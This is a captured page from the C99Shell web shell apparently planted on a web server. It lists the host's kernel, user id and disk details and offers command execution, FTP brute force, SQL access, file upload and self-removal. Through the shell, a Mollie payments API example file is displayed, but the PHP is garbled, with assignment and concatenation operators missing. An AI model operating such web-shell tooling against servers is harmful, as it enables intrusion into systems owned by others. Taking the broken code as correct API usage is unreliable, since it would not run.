!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/mollie/mollie-api-php/examples/shipments/   drwxr-xr-x
Free 13.2 GB of 57.97 GB (22.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     create-shipment-partial.php (1.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * Example 32 - Create a shipment for part of an order using the Mollie API.
 */

try {
    
/*
     * Initialize the Mollie API library with your API key or OAuth access token.
     */
    
require "./initialize.php";

    
/*
     * Create a shipment for only two lines of the order with ID "ord_8wmqcHMN4U".
     *
     * See: https://docs.mollie.com/reference/v2/shipments-api/create-shipment
     */

    
$order $mollie->orders->get('ord_8wmqcHMN4U');
    
$lineId1 $order->lines()[0]->id;
    
$lineId2 $order->lines()[1]->id;
    
$shipment $order->createShipment(
        [
            
'lines' => [
                [
                    
'id' => $lineId1,
                    
// assume all is shipped if no quantity is specified
                
],
                [
                    
'id' => $lineId2,
                    
'quantity' => 1// you can set the quantity if not all is shipped at once
                
],
            ],
        ]
    );

    echo 
'A shipment with ID ' $shipment->id' has been created for your order with ID ' $order->id '.';
    foreach (
$shipment->lines as $line) {
        echo 
$line->name '- status: <b>' $line->status '</b>.';
    }
} catch (
\Mollie\Api\Exceptions\ApiException $e) {
    echo 
"API call failed: " htmlspecialchars($e->getMessage());
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--